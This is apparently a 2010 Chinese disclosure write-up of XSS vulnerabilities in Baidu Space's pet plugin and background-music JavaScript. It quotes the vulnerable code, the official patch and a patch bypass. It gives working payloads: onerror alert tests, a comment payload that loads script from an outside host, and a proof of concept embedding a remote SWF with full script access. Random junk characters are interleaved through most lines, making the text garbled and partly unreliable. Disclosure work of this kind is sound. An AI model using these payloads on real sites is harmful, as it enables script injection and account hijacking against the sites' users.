百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. $ B [# B/ k" T' m2 N( ]. o2 w
' |8 T9 c N9 F- Y! a5 G8 b
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
; o, A3 d: n$ s, D1 T7 x) a- w4 J2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 7 Z, E M! a# M' b& M! j
1 W2 p; L! Y1 l7 O6 B3 y2 Y$ r8 A) `& J将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
* \- f+ Q6 }# @" Y# ^, e$ L o! x其中BdUtil.insertWBR为
4 b5 W" y0 T! b7 F/ Ifunction(text, step) { . b- ]2 E/ y, O6 t4 ~
var textarea = textAreaCache || getContainer(); - X* q( E8 |2 M/ ]
if (!textarea) {
4 B' j" K [& Z2 p |. S! n8 h return text; 4 E: _. d ?- t4 j% f0 q/ N
} ; `4 Y$ n2 N3 d9 X
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 8 u7 L0 y' I3 h9 u9 b
var string = textarea.value; % W, m9 ~" |8 L3 I) T
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); . Z; K- Y: D6 M" h; }) o
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
% j4 o( x& q/ f return result; * S$ w& m1 d3 G b) g
}
6 O+ M" B& \8 `在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. : C9 o, T3 m& ? d: X6 \0 a
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
5 S: g$ Z4 p. _* ]* T$ _: E0 ^/ F ( Q) b$ K+ m% G) S! ` ]
二:creatbgmusic() Dom-Xss Bug
}5 ?5 |( c8 Y+ c! O; z5 f百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
6 u) V$ \; P0 j+ ~1 R q6 `: k8 s# U6 K' D" g3 m4 M5 p E/ Z0 D! _
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
' [8 t; w& v3 B) H8 t9 L S/ s5 O9 A. M9 Z- W
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { * \7 w: w+ M* j7 `& r
//传入的murl赋值到bgmusic1和bgmusic2中
$ {7 D' ^# I$ b/ Y //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 , |7 \4 w- \- v' {
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
o" D% c) U. }2 q6 k& T if (musicnum <= 1) {
2 G6 W5 j; G$ Y) S! z' g9 b2 O bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 7 ^$ h: O3 b; r) c* N! D: z" l
} 7 ?" F) m6 W4 G. O( t5 V: q( W
bgmusic1 += "</OBJECT>"; $ k5 H2 I* b% Q1 g q% d
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 3 z1 i5 l9 t) {+ F8 s
if (musicnum <= 1) {
0 J- F+ K9 E2 Z, I" m1 a0 u bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ; Z+ W8 e* Y q% C2 ~; q
} - J- x& L* z3 \
bgmusic2 += "> </EMBED>"; 4 F0 o5 `9 ~# ~# D0 A
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . e, E$ R6 s9 S8 ]
var bgmus = detectWMP();
# E! m' f2 b$ J6 q9 O7 ] if (functype == "FckMusicHelper") {
+ d/ Q W/ B! j2 D$ J9 z if (bgmus.installed) { * ?1 K. ]/ Q1 x" q1 u# B
if (bgmus.type == "IE") { * V1 m# T% S& X \8 T# d
return bgmusic1; 8 l: A' E3 e& N+ e1 l8 n
} else if (bgmus.type == "NS") { 2 d) ^: ]' w& n5 U+ V; N
return bgmusic2; 1 ~' A0 U2 [# }' M- U5 o$ ^2 v: B
}
# T3 @: y& i7 u# Z; \ } else { / U8 I8 H6 B* N$ M! G
return bgmusic3;
; ~( l+ ^3 s( N: M$ z4 L }
/ {. e7 x5 k2 E8 D4 U+ ~ } else { 2 {/ G; W7 n; D, }
if (bgmus.installed) {
1 d+ ]. q9 S% T4 C/ G T- x" } //document.write 直接输出bgmusic变量 导致xss
6 |. d3 e. a2 \% `: g, _- i- W! a8 w if (bgmus.type == "IE") { . W8 ? q* c; q1 Q9 e
document.write(bgmusic1);
7 `( Y* w- d+ W% z } else if (bgmus.type == "NS") {
7 O$ J& I' P$ k4 Q9 X- A5 ~ document.write(bgmusic2);
' X2 ?3 j& [0 c) H5 O } 6 R7 ?6 x! y: z3 K* v
} else {
2 k2 H& K+ i+ O. f( u: o document.write(bgmusic3);
# t# W' f' s8 g/ j* X } * j% |; \4 {' a& Y
return ""; ; m; H! ]2 q' I% P
} " h% M7 Z& _6 P: Z% b* u
} % r. Y9 i& e: s5 h
- Q5 p2 z7 i7 P5 \8 A在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ; Y, }8 l: N% A! _
- K* L: }4 W* y1 V
function initBlogTextForFCK(){
! n, S5 H: r5 U" i4 z6 [3 U+ e//fck init music
) T/ G- N5 |1 V5 W5 [# U. vif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
& R( j2 F6 {! gvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 + m ~3 i0 }+ S
var isAutoPlay=true; & P4 A5 d! X+ x9 S
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
5 |) l0 o1 H, B A6 C var img=imgBox; * z5 K4 i: C' _! I3 Q8 H7 ]
if(img.getAttribute(’rel’)){ 7 [* E8 m7 I( D5 z5 b5 x
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc % O4 E& Q, I! r% {* \; k, a2 l
var musicDiv = document.createElement("SPAN"); {/ ^9 b; S% ~
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
3 n: x" o2 y) u7 V. D
+ j6 ?& ]+ L; c5 c4 c7 S: Q8 Q .......................... & p' M& v) l) e9 h# a& o
: p, V5 m# N' p( U! U% k% B
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. / o: l! S$ f* A- Z2 [7 P0 c
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
r0 C* s5 T* A. w shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
8 p# u% L9 Y* I: D6 U' r musicDiv.innerHTML=shtml; 5 J0 t+ C( \) w
i--;n--; 4 S! s5 B- u' O0 v% E
}
, J, h2 z/ c4 b' c9 Z+ g} 1 @% k7 w7 V7 o9 X0 c
$ K6 x; S' }- n: `5 }% ~' e7 H9 O从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. + {* t0 _: z7 s
% a- U; o6 @1 h! J) x/ W
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 7 R7 g" l# `" `' @- D( t! P1 f% F8 E
6 D0 b/ m* q6 E% k( O% O
等待官方补丁 7 ^' |* m6 H& s% v1 k) }0 J; g
$ m1 {" u" \: N; wupdate 2010年5月13日
9 A: f! ^9 J0 {/ T+ N6 [3 G
' |6 ?8 Z, i) [4 Y! A# l( Q官方补丁:
, Y- c# h( m, ?% P4 P7 r- W
; S0 j( K$ C0 Pvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" l) v8 w3 i. B3 u# u7 d" K改为:
e( i& z# v" t9 uvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
0 \8 T% E' h5 f( Z* h& H: D4 |% R
6 m$ _! C" b9 A3 D2 Q8 B; _3 iupdate 2010年5月13日 21:50:37 ) h# U) b& v6 W+ S/ l
2 U) u' \4 V$ _补丁存在漏洞 没有过滤" 可以继续跨:
; w# S: o7 s& Q- u& M6 H5 h
& H3 [8 } g' R: ~% C# C* U/ ZNEW POC: " A- D$ [! B7 \9 Q' d
( r9 | A- c' k+ U8 p8 F<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 I2 p- r+ p" ~3 i5 s0 c6 R2 R# D. d, f! Q. X/ J" V4 l( A
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
& l6 U7 |; U* F2 d9 ^
! U5 M' c4 g) U p |